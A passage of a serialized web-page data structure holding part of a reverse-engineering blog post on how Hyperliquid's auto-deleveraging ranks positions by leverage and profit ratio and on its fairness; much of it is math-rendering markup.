",{"type":24,"tag":80,"props":164912,"children":164914},{"className":164913},[],[164915],{"type":29,"value":164916},"position_id",{"type":29,"value":855},{"type":24,"tag":80,"props":164919,"children":164921},{"className":164920},[],[164922],{"type":29,"value":164923},"position_shortfall",{"type":29,"value":87},{"type":24,"tag":163835,"props":164926,"children":164929},{"addr":164206,"line-start":164927,"line-end":164928},"2377","2469",[],{"type":24,"tag":25,"props":164931,"children":164932},{},[164933,164935,164941],{"type":29,"value":164934},"Afterwards we can finally loop over the B-tree containing ",{"type":24,"tag":80,"props":164936,"children":164938},{"className":164937},[],[164939],{"type":29,"value":164940},"(position_id, cut)",{"type":29,"value":164942},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":24,"tag":25,"props":164944,"children":164945},{},[164946,164948,164953],{"type":29,"value":164947},"The final phase of ",{"type":24,"tag":80,"props":164949,"children":164951},{"className":164950},[],[164952],{"type":29,"value":164160},{"type":29,"value":164954}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":24,"tag":163835,"props":164956,"children":164959},{"addr":164206,"addr-start":164957,"addr-end":164958},"0x555556ac6d52","0x555556ac6de8",[],{"type":24,"tag":25,"props":164961,"children":164962},{},[164963],{"type":29,"value":164964},"How are positions chosen (sorted) to be deleveraged?",{"type":24,"tag":40973,"props":164966,"children":164968},{"id":164967},"who-do-we-deleverage",[164969],{"type":29,"value":164970},"Who Do We Deleverage?",{"type":24,"tag":25,"props":164972,"children":164973},{},[164974],{"type":29,"value":164975},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":24,"tag":25,"props":164977,"children":164978},{},[164979],{"type":29,"value":164980},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":24,"tag":25,"props":164982,"children":164983},{},[164984,164986,164993],{"type":29,"value":164985},"More formally, fairness can be given multiple related definitions; see ",{"type":24,"tag":2773,"props":164987,"children":164990},{"href":164988,"rel":164989},"https://arxiv.org/abs/2512.01112",[2777],[164991],{"type":29,"value":164992},"this paper",{"type":29,"value":164994},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":24,"tag":25,"props":164996,"children":164997},{},[164998],{"type":29,"value":164999},"So, is Hyperliquid fair? Is it always solvent?",{"type":24,"tag":32,"props":165001,"children":165003},{"id":165002},"adl-score-computation",[165004],{"type":29,"value":165005},"ADL Score Computation",{"type":24,"tag":25,"props":165007,"children":165008},{},[165009,165011,165017,165019,165025,165027,165032],{"type":29,"value":165010},"The score function at ",{"type":24,"tag":80,"props":165012,"children":165014},{"className":165013},[],[165015],{"type":29,"value":165016},"compute_adl_ranking_score",{"type":29,"value":165018}," is core to answering this question. It's defined, most likely as an ",{"type":24,"tag":80,"props":165020,"children":165022},{"className":165021},[],[165023],{"type":29,"value":165024},"Ord",{"type":29,"value":165026}," implementation on some 20-byte address representation. A ",{"type":24,"tag":80,"props":165028,"children":165030},{"className":165029},[],[165031],{"type":29,"value":22816},{"type":29,"value":165033}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":24,"tag":25,"props":165035,"children":165036},{},[165037,165039,165044,165046,165052,165054,165061,165063,165070],{"type":29,"value":165038},"Those sort routines are ",{"type":24,"tag":8545,"props":165040,"children":165041},{},[165042],{"type":29,"value":165043},"generated by the compiler",{"type":29,"value":165045},": since Rust binaries include a lot of metadata by default in ",{"type":24,"tag":80,"props":165047,"children":165049},{"className":165048},[],[165050],{"type":29,"value":165051},".comment",{"type":29,"value":165053},", we may even manually ",{"type":24,"tag":2773,"props":165055,"children":165058},{"href":165056,"rel":165057},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[2777],[165059],{"type":29,"value":165060},"take advantage",{"type":29,"value":165062}," of this to recover the ",{"type":24,"tag":2773,"props":165064,"children":165067},{"href":165065,"rel":165066},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[2777],[165068],{"type":29,"value":165069},"exact source of library functions",{"type":29,"value":87},{"type":24,"tag":25,"props":165072,"children":165073},{},[165074,165076,165081],{"type":29,"value":165075},"Let's see how this ties back into the ",{"type":24,"tag":80,"props":165077,"children":165079},{"className":165078},[],[165080],{"type":29,"value":164160},{"type":29,"value":978},{"type":24,"tag":163835,"props":165083,"children":165085},{"source":164160,"target":165016,"direction":164161,"path":165084},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":24,"tag":25,"props":165087,"children":165088},{},[165089],{"type":29,"value":165090},"And here's the main call site used for sorting:",{"type":24,"tag":163835,"props":165092,"children":165095},{"addr":164206,"line-start":165093,"line-end":165094},"2806","2814",[],{"type":24,"tag":32,"props":165097,"children":165099},{"id":165098},"ratio-1-effective-leverage",[165100],{"type":29,"value":165101},"Ratio 1: Effective Leverage",{"type":24,"tag":137,"props":165103,"children":165104},{},[165105],{"type":24,"tag":80,"props":165106,"children":165108},{"className":165107},[9607,163863],[165109],{"type":24,"tag":147,"props":165110,"children":165112},{"className":165111},[163868],[165113],{"type":24,"tag":147,"props":165114,"children":165116},{"className":165115},[9613],[165117],{"type":24,"tag":147,"props":165118,"children":165120},{"className":165119,"ariaHidden":9619},[9618],[165121,165152],{"type":24,"tag":147,"props":165122,"children":165124},{"className":165123},[9624],[165125,165129,165139,165143,165148],{"type":24,"tag":147,"props":165126,"children":165128},{"className":165127,"style":120675},[9629],[],{"type":24,"tag":147,"props":165130,"children":165132},{"className":165131},[9635,29],[165133],{"type":24,"tag":147,"props":165134,"children":165136},{"className":165135},[9635],[165137],{"type":29,"value":165138},"effective leverage",{"type":24,"tag":147,"props":165140,"children":165142},{"className":165141,"style":9812},[9714],[],{"type":24,"tag":147,"props":165144,"children":165146},{"className":165145},[9817],[165147],{"type":29,"value":369},{"type":24,"tag":147,"props":165149,"children":165151},{"className":165150,"style":9812},[9714],[],{"type":24,"tag":147,"props":165153,"children":165155},{"className":165154},[9624],[165156,165161],{"type":24,"tag":147,"props":165157,"children":165160},{"className":165158,"style":165159},[9629],"height:2.113em;vertical-align:-0.686em;",[],{"type":24,"tag":147,"props":165162,"children":165164},{"className":165163},[9635],[165165,165169,165264],{"type":24,"tag":147,"props":165166,"children":165168},{"className":165167},[27319,119138],[],{"type":24,"tag":147,"props":165170,"children":165172},{"className":165171},[119143],[165173],{"type":24,"tag":147,"props":165174,"children":165176},{"className":165175},[9655,27244],[165177,165252],{"type":24,"tag":147,"props":165178,"children":165180},{"className":165179},[9660],[165181,165247],{"type":24,"tag":147,"props":165182,"children":165184},{"className":165183,"style":163941},[9665],[165185,165206,165217],{"type":24,"tag":147,"props":165186,"children":165187},{"style":163945},[165188,165192],{"type":24,"tag":147,"props":165189,"children":165191},{"className":165190,"style":117792},[9674],[],{"type":24,"tag":147,"props":165193,"children":165195},{"className":165194},[9635],[165196],{"type":24,"tag":147,"props":165197,"children":165199},{"className":165198},[9635,29],[165200],{"type":24,"tag":147,"props":165201,"children":165203},{"className":165202},[9635],[165204],{"type":29,"value":165205},"account value",{"type":24,"tag":147,"props":165207,"children":165208},{"style":119193},[165209,165213],{"type":24,"tag":147,"props":165210,"children":165212},{"className":165211,"style":117792},[9674],[],{"type":24,"tag":147,"props":165214,"children":165216},{"className":165215,"style":119203},[119202],[],{"type":24,"tag":147,"props":165218,"children":165219},{"style":163996},[165220,165224],{"type":24,"tag":147,"props":165221,"children":165223},{"className":165222,"style":117792},[9674],[],{"type":24,"tag":147,"props":165225,"children":165227},{"className":165226},[9635],[165228,165233,165242],{"type":24,"tag":147,"props":165229,"children":165231},{"className":165230},[9635],[165232],{"type":29,"value":164011},{"type":24,"tag":147,"props":165234,"children":165236},{"className":165235},[9635,29],[165237],{"type":24,"tag":147,"props":165238,"children":165240},{"className":165239},[9635],[165241],{"type":29,"value":164021},{"type":24,"tag":147,"props":165243,"children":165245},{"className":165244},[9635],[165246],{"type":29,"value":164011},{"type":24,"tag":147,"props":165248,"children":165250},{"className":165249},[27347],[165251],{"type":29,"value":27350},{"type":24,"tag":147,"props":165253,"children":165255},{"className":165254},[9660],[165256],{"type":24,"tag":147,"props":165257,"children":165260},{"className":165258,"style":165259},[9665],"height:0.686em;",[165261],{"type":24,"tag":147,"props":165262,"children":165263},{},[],{"type":24,"tag":147,"props":165265,"children":165267},{"className":165266},[27341,119138],[],{"type":24,"tag":25,"props":165269,"children":165270},{},[165271,165273,165279,165281,165287,165288,165294,165296,165302],{"type":29,"value":165272},"We can see in the decompilation below, through the SIMD noise, that ",{"type":24,"tag":80,"props":165274,"children":165276},{"className":165275},[],[165277],{"type":29,"value":165278},"abs_notional",{"type":29,"value":165280}," (unsigned), and ",{"type":24,"tag":80,"props":165282,"children":165284},{"className":165283},[],[165285],{"type":29,"value":165286},"float.d(rbx)",{"type":29,"value":5819},{"type":24,"tag":80,"props":165289,"children":165291},{"className":165290},[],[165292],{"type":29,"value":165293},"account_value",{"type":29,"value":165295}," (signed); the division is ",{"type":24,"tag":80,"props":165297,"children":165299},{"className":165298},[],[165300],{"type":29,"value":165301},"abs_notional / account_value",{"type":29,"value":87},{"type":24,"tag":25,"props":165304,"children":165305},{},[165306],{"type":29,"value":165307},"This tells us the risk multiplier that the user took on for this position.",{"type":24,"tag":163835,"props":165309,"children":165313},{"addr":165310,"line-start":165311,"line-end":165312},"0x555556abb140","278","296",[],{"type":24,"tag":32,"props":165315,"children":165317},{"id":165316},"ratio-2-profit-ratio",[165318],{"type":29,"value":165319},"Ratio 2: Profit Ratio",{"type":24,"tag":137,"props":165321,"children":165322},{},[165323],{"type":24,"tag":80,"props":165324,"children":165326},{"className":165325},[9607,163863],[165327],{"type":24,"tag":147,"props":165328,"children":165330},{"className":165329},[163868],[165331],{"type":24,"tag":147,"props":165332,"children":165334},{"className":165333},[9613],[165335],{"type":24,"tag":147,"props":165336,"children":165338},{"className":165337,"ariaHidden":9619},[9618],[165339,165370],{"type":24,"tag":147,"props":165340,"children":165342},{"className":165341},[9624],[165343,165347,165357,165361,165366],{"type":24,"tag":147,"props":165344,"children":165346},{"className":165345,"style":120675},[9629],[],{"type":24,"tag":147,"props":165348,"children":165350},{"className":165349},[9635,29],[165351],{"type":24,"tag":147,"props":165352,"children":165354},{"className":165353},[9635],[165355],{"type":29,"value":165356},"profit ratio",{"type":24,"tag":147,"props":165358,"children":165360},{"className":165359,"style":9812},[9714],[],{"type":24,"tag":147,"props":165362,"children":165364},{"className":165363},[9817],[165365],{"type":29,"value":369},{"type":24,"tag":147,"props":165367,"children":165369},{"className":165368,"style":9812},[9714],[],{"type":24,"tag":147,"props":165371,"children":165373},{"className":165372},[9624],[165374,165378],{"type":24,"tag":147,"props":165375,"children":165377},{"className":165376,"style":163916},[9629],[],{"type":24,"tag":147,"props":165379,"children":165381},{"className":165380},[9635],[165382,165386,165505],{"type":24,"tag":147,"props":165383,"children":165385},{"className":165384},[27319,119138],[],{"type":24,"tag":147,"props":165387,"children":165389},{"className":165388},[119143],[165390],{"type":24,"tag":147,"props":165391,"children":165393},{"className":165392},[9655,27244],[165394,165494],{"type":24,"tag":147,"props":165395,"children":165397},{"className":165396},[9660],[165398,165489],{"type":24,"tag":147,"props":165399,"children":165401},{"className":165400,"style":163941},[9665],[165402,165423,165434],{"type":24,"tag":147,"props":165403,"children":165404},{"style":163945},[165405,165409],{"type":24,"tag":147,"props":165406,"children":165408},{"className":165407,"style":117792},[9674],[],{"type":24,"tag":147,"props":165410,"children":165412},{"className":165411},[9635],[165413],{"type":24,"tag":147,"props":165414,"children":165416},{"className":165415},[9635,29],[165417],{"type":24,"tag":147,"props":165418,"children":165420},{"className":165419},[9635],[165421],{"type":29,"value":165422},"entry notional",{"type":24,"tag":147,"props":165424,"children":165425},{"style":119193},[165426,165430],{"type":24,"tag":147,"props":165427,"children":165429},{"className":165428,"style":117792},[9674],[],{"type":24,"tag":147,"props":165431,"children":165433},{"className":165432,"style":119203},[119202],[],{"type":24,"tag":147,"props":165435,"children":165436},{"style":163996},[165437,165441],{"type":24,"tag":147,"props":165438,"children":165440},{"className":165439,"style":117792},[9674],[],{"type":24,"tag":147,"props":165442,"children":165444},{"className":165443},[9635],[165445,165451,165456,165466,165471,165475,165479,165484],{"type":24,"tag":147,"props":165446,"children":165448},{"className":165447},[27226],[165449],{"type":29,"value":165450},"max",{"type":24,"tag":147,"props":165452,"children":165454},{"className":165453},[27319],[165455],{"type":29,"value":480},{"type":24,"tag":147,"props":165457,"children":165459},{"className":165458},[9635,29],[165460],{"type":24,"tag":147,"props":165461,"children":165463},{"className":165462},[9635],[165464],{"type":29,"value":165465},"pnl",{"type":24,"tag":147,"props":165467,"children":165469},{"className":165468},[9746],[165470],{"type":29,"value":9749},{"type":24,"tag":147,"props":165472,"children":165474},{"className":165473,"style":9753},[9714],[],{"type":24,"tag":147,"props":165476,"children":165478},{"className":165477,"style":9753},[9714],[],{"type":24,"tag":147,"props":165480,"children":165482},{"className":165481},[9635],[165483],{"type":29,"value":3173},{"type":24,"tag":147,"props":165485,"children":165487},{"className":165486},[27341],[165488],{"type":29,"value":8758},{"type":24,"tag":147,"props":165490,"children":165492},{"className":165491},[27347],[165493],{"type":29,"value":27350},{"type":24,"tag":147,"props":165495,"children":165497},{"className":165496},[9660],[165498],{"type":24,"tag":147,"props":165499,"children":165501},{"className":165500,"style":164039},[9665],[165502],{"type":24,"tag":147,"props":165503,"children":165504},{},[],{"type":24,"tag":147,"props":165506,"children":165508},{"className":165507},[27341,119138],[],{"type":24,"tag":25,"props":165510,"children":165511},{},[165512,165514,165520],{"type":29,"value":165513},"It uses entry notional (",{"type":24,"tag":80,"props":165515,"children":165517},{"className":165516},[],[165518],{"type":29,"value":165519},"r14_2",{"type":29,"value":165521},") as the divisor. PNL is clamped to non-negative before division.",{"type":24,"tag":25,"props":165523,"children":165524},{},[165525],{"type":29,"value":165526},"This basically tells us how well the user's bet went.",{"type":24,"tag":163835,"props":165528,"children":165532},{"addr":165529,"addr-start":165530,"addr-end":165531},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":24,"tag":25,"props":165534,"children":165535},{},[165536,165538,165544,165546,165552],{"type":29,"value":165537},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":24,"tag":80,"props":165539,"children":165541},{"className":165540},[],[165542],{"type":29,"value":165543},"1e-8",{"type":29,"value":165545},", in order not to cancel each other out. The final ADL ranking score is ",{"type":24,"tag":80,"props":165547,"children":165549},{"className":165548},[],[165550],{"type":29,"value":165551},"effective_leverage * profit_ratio",{"type":29,"value":165553},", consistent with both ratio directions and the max clamp on PNL.",{"type":24,"tag":25,"props":165555,"children":165556},{},[165557],{"type":29,"value":165558},"So, in essence, we look for risky and profitable positions!",{"type":24,"tag":43,"props":165560,"children":165562},{"id":165561},"partial-and-total-adl",[165563],{"type":29,"value":165564},"Partial and Total ADL",{"type":24,"tag":25,"props":165566,"children":165567},{},[165568],{"type":29,"value":165569},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":24,"tag":25,"props":165571,"children":165572},{},[165573],{"type":29,"value":165574},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":24,"tag":25,"props":165576,"children":165577},{},[165578,165580,165585],{"type":29,"value":165579},"So essentially, in pseudocode, the whole latter part of ",{"type":24,"tag":80,"props":165581,"children":165583},{"className":165582},[],[165584],{"type":29,"value":164160},{"type":29,"value":165586}," boils down to:",{"type":24,"tag":163835,"props":165588,"children":165591},{"addr":164206,"line-start":165589,"line-end":165590},"3252","3632",[],{"type":24,"tag":25,"props":165593,"children":165594},{},[165595],{"type":29,"value":165596},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":24,"tag":40973,"props":165598,"children":165600},{"id":165599},"branches",[165601],{"type":29,"value":165602},"Branches",{"type":24,"tag":25,"props":165604,"children":165605},{},[165606],{"type":29,"value":165607},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":24,"tag":25,"props":165609,"children":165610},{},[165611],{"type":29,"value":165612},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":24,"tag":40973,"props":165614,"children":165616},{"id":165615},"financial-conclusions",[165617],{"type":29,"value":165618},"Financial Conclusions",{"type":24,"tag":32,"props":165620,"children":165622},{"id":165621},"fairness-revenue-solvency-trilemma",[165623],{"type":29,"value":165624},"Fairness, Revenue, Solvency Trilemma",{"type":24,"tag":25,"props":165626,"children":165627},{},[165628,165630,165636],{"type":29,"value":165629},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":24,"tag":2773,"props":165631,"children":165633},{"href":164988,"rel":165632},[2777],[165634],{"type":29,"value":165635},"the paper mentioned before",{"type":29,"value":165637},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":24,"tag":22292,"props":165639,"children":165640},{},[165641,165651,165661],{"type":24,"tag":2678,"props":165642,"children":165643},{},[165644,165649],{"type":24,"tag":8545,"props":165645,"children":165646},{},[165647],{"type":29,"value":165648},"Solvency",{"type":29,"value":165650},": can the platform pay every trader out?",{"type":24,"tag":2678,"props":165652,"children":165653},{},[165654,165659],{"type":24,"tag":8545,"props":165655,"children":165656},{},[165657],{"type":29,"value":165658},"Fairness",{"type":29,"value":165660},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":24,"tag":2678,"props":165662,"children":165663},{},[165664,165669],{"type":24,"tag":8545,"props":165665,"children":165666},{},[165667],{"type":29,"value":165668},"Revenue",{"type":29,"value":165670},": the fraction of total winner PNL that survives after deleveraging.",{"type":24,"tag":25,"props":165672,"children":165673},{},[165674],{"type":29,"value":165675},"Let's borrow these definitions from the paper:",{"type":24,"tag":137,"props":165677,"children":165678},{},[165679],{"type":24,"tag":80,"props":165680,"children":165682},{"className":165681},[9607,163863],[165683],{"type":24,"tag":147,"props":165684,"children":165686},{"className":165685},[163868],[165687],{"type":24,"tag":147,"props":165688,"children":165690},{"className":165689},[9613],[165691],{"type":24,"tag":147,"props":165692,"children":165694},{"className":165693,"ariaHidden":9619},[9618],[165695],{"type":24,"tag":147,"props":165696,"children":165698},{"className":165697},[9624],[165699,165704],{"type":24,"tag":147,"props":165700,"children":165703},{"className":165701,"style":165702},[9629],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":24,"tag":147,"props":165705,"children":165707},{"className":165706},[9635],[165708],{"type":24,"tag":147,"props":165709,"children":165711},{"className":165710},[164565],[165712,166531],{"type":24,"tag":147,"props":165713,"children":165715},{"className":165714},[164570],[165716],{"type":24,"tag":147,"props":165717,"children":165719},{"className":165718},[9655,27244],[165720,166519],{"type":24,"tag":147,"props":165721,"children":165723},{"className":165722},[9660],[165724,166514],{"type":24,"tag":147,"props":165725,"children":165728},{"className":165726,"style":165727},[9665],"height:11.8392em;",[165729,165800,165817,165886,165956,166025,166095,166164,166233,166302,166372,166443],{"type":24,"tag":147,"props":165730,"children":165732},{"style":165731},"top:-14.3707em;",[165733,165738],{"type":24,"tag":147,"props":165734,"children":165737},{"className":165735,"style":165736},[9674],"height:3.3714em;",[],{"type":24,"tag":147,"props":165739,"children":165741},{"className":165740},[9635],[165742],{"type":24,"tag":147,"props":165743,"children":165745},{"className":165744},[9635],[165746,165751],{"type":24,"tag":147,"props":165747,"children":165749},{"className":165748,"style":27191},[9635,27190],[165750],{"type":29,"value":27194},{"type":24,"tag":147,"props":165752,"children":165754},{"className":165753},[9650],[165755],{"type":24,"tag":147,"props":165756,"children":165758},{"className":165757},[9655,27244],[165759,165789],{"type":24,"tag":147,"props":165760,"children":165762},{"className":165761},[9660],[165763,165784],{"type":24,"tag":147,"props":165764,"children":165766},{"className":165765,"style":115053},[9665],[165767],{"type":24,"tag":147,"props":165768,"children":165770},{"style":165769},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[165771,165775],{"type":24,"tag":147,"props":165772,"children":165774},{"className":165773,"style":9675},[9674],[],{"type":24,"tag":147,"props":165776,"children":165778},{"className":165777},[9680,9681,9682,9683],[165779],{"type":24,"tag":147,"props":165780,"children":165782},{"className":165781},[9635,27190,9683],[165783],{"type":29,"value":61991},{"type":24,"tag":147,"props":165785,"children":165787},{"className":165786},[27347],[165788],{"type":29,"value":27350},{"type":24,"tag":147,"props":165790,"children":165792},{"className":165791},[9660],[165793],{"type":24,"tag":147,"props":165794,"children":165796},{"className":165795,"style":98713},[9665],[165797],{"type":24,"tag":147,"props":165798,"children":165799},{},[],{"type":24,"tag":147,"props":165801,"children":165803},{"style":165802},"top:-12.8707em;",[165804,165808],{"type":24,"tag":147,"props":165805,"children":165807},{"className":165806,"style":165736},[9674],[],{"type":24,"tag":147,"props":165809,"children":165811},{"className":165810},[9635],[165812],{"type":24,"tag":147,"props":165813,"children":165815},{"className":165814,"style":100650},[9635,27190],[165816],{"type":29,"value":100684},{"type":24,"tag":147,"props":165818,"children":165820},{"style":165819},"top:-10.8392em;",[165821,165825],{"type":24,"tag":147,"props":165822,"children":165824},{"className":165823,"style":165736},[9674],[],{"type":24,"tag":147,"props":165826,"children":165828},{"className":165827},[9635],[165829],{"type":24,"tag":147,"props":165830,"children":165832},{"className":165831},[9635],[165833,165838],{"type":24,"tag":147,"props":165834,"children":165836},{"className":165835},[9635,27190],[165837],{"type":29,"value":140},{"type":24,"tag":147,"props":165839,"children":165841},{"className":165840},[9650],[165842],{"type":24,"tag":147,"props":165843,"children":165845},{"className":165844},[9655,27244],[165846,165875],{"type":24,"tag":147,"props":165847,"children":165849},{"className":165848},[9660],[165850,165870],{"type":24,"tag":147,"props":165851,"children":165853},{"className":165852,"style":99159},[9665],[165854],{"type":24,"tag":147,"props":165855,"children":165856},{"style":98686},[165857,165861],{"type":24,"tag":147,"props":165858,"children":165860},{"className":165859,"style":9675},[9674],[],{"type":24,"tag":147,"props":165862,"children":165864},{"className":165863},[9680,9681,9682,9683],[165865],{"type":24,"tag":147,"props":165866,"children":165868},{"className":165867},[9635,27190,9683],[165869],{"type":29,"value":9363},{"type":24,"tag":147,"props":165871,"children":165873},{"className":165872},[27347],[165874],{"type":29,"value":27350},{"type":24,"tag":147,"props":165876,"children":165878},{"className":165877},[9660],[165879],{"type":24,"tag":147,"props":165880,"children":165882},{"className":165881,"style":98713},[9665],[165883],{"type":24,"tag":147,"props":165884,"children":165885},{},[],{"type":24,"tag":147,"props":165887,"children":165889},{"style":165888},"top:-8.8188em;",[165890,165894],{"type":24,"tag":147,"props":165891,"children":165893},{"className":165892,"style":165736},[9674],[],{"type":24,"tag":147,"props":165895,"children":165897},{"className":165896},[9635],[165898],{"type":24,"tag":147,"props":165899,"children":165901},{"className":165900},[9635],[165902,165908],{"type":24,"tag":147,"props":165903,"children":165905},{"className":165904,"style":99116},[9635,27190],[165906],{"type":29,"value":165907},"π",{"type":24,"tag":147,"props":165909,"children":165911},{"className":165910},[9650],[165912],{"type":24,"tag":147,"props":165913,"children":165915},{"className":165914},[9655,27244],[165916,165945],{"type":24,"tag":147,"props":165917,"children":165919},{"className":165918},[9660],[165920,165940],{"type":24,"tag":147,"props":165921,"children":165923},{"className":165922,"style":99159},[9665],[165924],{"type":24,"tag":147,"props":165925,"children":165926},{"style":99163},[165927,165931],{"type":24,"tag":147,"props":165928,"children":165930},{"className":165929,"style":9675},[9674],[],{"type":24,"tag":147,"props":165932,"children":165934},{"className":165933},[9680,9681,9682,9683],[165935],{"type":24,"tag":147,"props":165936,"children":165938},{"className":165937},[9635,27190,9683],[165939],{"type":29,"value":9363},{"type":24,"tag":147,"props":165941,"children":165943},{"className":165942},[27347],[165944],{"type":29,"value":27350},{"type":24,"tag":147,"props":165946,"children":165948},{"className":165947},[9660],[165949],{"type":24,"tag":147,"props":165950,"children":165952},{"className":165951,"style":98713},[9665],[165953],{"type":24,"tag":147,"props":165954,"children":165955},{},[],{"type":24,"tag":147,"props":165957,"children":165959},{"style":165958},"top:-7.3188em;",[165960,165964],{"type":24,"tag":147,"props":165961,"children":165963},{"className":165962,"style":165736},[9674],[],{"type":24,"tag":147,"props":165965,"children":165967},{"className":165966},[9635],[165968],{"type":24,"tag":147,"props":165969,"children":165971},{"className":165970},[9635],[165972,165977],{"type":24,"tag":147,"props":165973,"children":165975},{"className":165974},[9635,27190],[165976],{"type":29,"value":57047},{"type":24,"tag":147,"props":165978,"children":165980},{"className":165979},[9650],[165981],{"type":24,"tag":147,"props":165982,"children":165984},{"className":165983},[9655,27244],[165985,166014],{"type":24,"tag":147,"props":165986,"children":165988},{"className":165987},[9660],[165989,166009],{"type":24,"tag":147,"props":165990,"children":165992},{"className":165991,"style":99159},[9665],[165993],{"type":24,"tag":147,"props":165994,"children":165995},{"style":98686},[165996,166000],{"type":24,"tag":147,"props":165997,"children":165999},{"className":165998,"style":9675},[9674],[],{"type":24,"tag":147,"props":166001,"children":166003},{"className":166002},[9680,9681,9682,9683],[166004],{"type":24,"tag":147,"props":166005,"children":166007},{"className":166006},[9635,27190,9683],[166008],{"type":29,"value":9363},{"type":24,"tag":147,"props":166010,"children":166012},{"className":166011},[27347],[166013],{"type":29,"value":27350},{"type":24,"tag":147,"props":166015,"children":166017},{"className":166016},[9660],[166018],{"type":24,"tag":147,"props":166019,"children":166021},{"className":166020,"style":98713},[9665],[166022],{"type":24,"tag":147,"props":166023,"children":166024},{},[],{"type":24,"tag":147,"props":166026,"children":166028},{"style":166027},"top:-5.8188em;",[166029,166033],{"type":24,"tag":147,"props":166030,"children":166032},{"className":166031,"style":165736},[9674],[],{"type":24,"tag":147,"props":166034,"children":166036},{"className":166035},[9635],[166037],{"type":24,"tag":147,"props":166038,"children":166040},{"className":166039},[9635],[166041,166046],{"type":24,"tag":147,"props":166042,"children":166044},{"className":166043,"style":127900},[9635,27190],[166045],{"type":29,"value":55169},{"type":24,"tag":147,"props":166047,"children":166049},{"className":166048},[9650],[166050],{"type":24,"tag":147,"props":166051,"children":166053},{"className":166052},[9655,27244],[166054,166084],{"type":24,"tag":147,"props":166055,"children":166057},{"className":166056},[9660],[166058,166079],{"type":24,"tag":147,"props":166059,"children":166061},{"className":166060,"style":99159},[9665],[166062],{"type":24,"tag":147,"props":166063,"children":166065},{"style":166064},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[166066,166070],{"type":24,"tag":147,"props":166067,"children":166069},{"className":166068,"style":9675},[9674],[],{"type":24,"tag":147,"props":166071,"children":166073},{"className":166072},[9680,9681,9682,9683],[166074],{"type":24,"tag":147,"props":166075,"children":166077},{"className":166076},[9635,27190,9683],[166078],{"type":29,"value":9363},{"type":24,"tag":147,"props":166080,"children":166082},{"className":166081},[27347],[166083],{"type":29,"value":27350},{"type":24,"tag":147,"props":166085,"children":166087},{"className":166086},[9660],[166088],{"type":24,"tag":147,"props":166089,"children":166091},{"className":166090,"style":98713},[9665],[166092],{"type":24,"tag":147,"props":166093,"children":166094},{},[],{"type":24,"tag":147,"props":166096,"children":166098},{"style":166097},"top:-4.3188em;",[166099,166103],{"type":24,"tag":147,"props":166100,"children":166102},{"className":166101,"style":165736},[9674],[],{"type":24,"tag":147,"props":166104,"children":166106},{"className":166105},[9635],[166107],{"type":24,"tag":147,"props":166108,"children":166110},{"className":166109},[9635],[166111,166116],{"type":24,"tag":147,"props":166112,"children":166114},{"className":166113},[9635,27190],[166115],{"type":29,"value":24880},{"type":24,"tag":147,"props":166117,"children":166119},{"className":166118},[9650],[166120],{"type":24,"tag":147,"props":166121,"children":166123},{"className":166122},[9655,27244],[166124,166153],{"type":24,"tag":147,"props":166125,"children":166127},{"className":166126},[9660],[166128,166148],{"type":24,"tag":147,"props":166129,"children":166131},{"className":166130,"style":99159},[9665],[166132],{"type":24,"tag":147,"props":166133,"children":166134},{"style":98686},[166135,166139],{"type":24,"tag":147,"props":166136,"children":166138},{"className":166137,"style":9675},[9674],[],{"type":24,"tag":147,"props":166140,"children":166142},{"className":166141},[9680,9681,9682,9683],[166143],{"type":24,"tag":147,"props":166144,"children":166146},{"className":166145},[9635,27190,9683],[166147],{"type":29,"value":9363},{"type":24,"tag":147,"props":166149,"children":166151},{"className":166150},[27347],[166152],{"type":29,"value":27350},{"type":24,"tag":147,"props":166154,"children":166156},{"className":166155},[9660],[166157],{"type":24,"tag":147,"props":166158,"children":166160},{"className":166159,"style":98713},[9665],[166161],{"type":24,"tag":147,"props":166162,"children":166163},{},[],{"type":24,"tag":147,"props":166165,"children":166167},{"style":166166},"top:-2.5512em;",[166168,166172],{"type":24,"tag":147,"props":166169,"children":166171},{"className":166170,"style":165736},[9674],[],{"type":24,"tag":147,"props":166173,"children":166175},{"className":166174},[9635],[166176],{"type":24,"tag":147,"props":166177,"children":166179},{"className":166178},[9635],[166180,166185],{"type":24,"tag":147,"props":166181,"children":166183},{"className":166182},[9635,27190],[166184],{"type":29,"value":89928},{"type":24,"tag":147,"props":166186,"children":166188},{"className":166187},[9650],[166189],{"type":24,"tag":147,"props":166190,"children":166192},{"className":166191},[9655,27244],[166193,166222],{"type":24,"tag":147,"props":166194,"children":166196},{"className":166195},[9660],[166197,166217],{"type":24,"tag":147,"props":166198,"children":166200},{"className":166199,"style":99159},[9665],[166201],{"type":24,"tag":147,"props":166202,"children":166203},{"style":98686},[166204,166208],{"type":24,"tag":147,"props":166205,"children":166207},{"className":166206,"style":9675},[9674],[],{"type":24,"tag":147,"props":166209,"children":166211},{"className":166210},[9680,9681,9682,9683],[166212],{"type":24,"tag":147,"props":166213,"children":166215},{"className":166214},[9635,27190,9683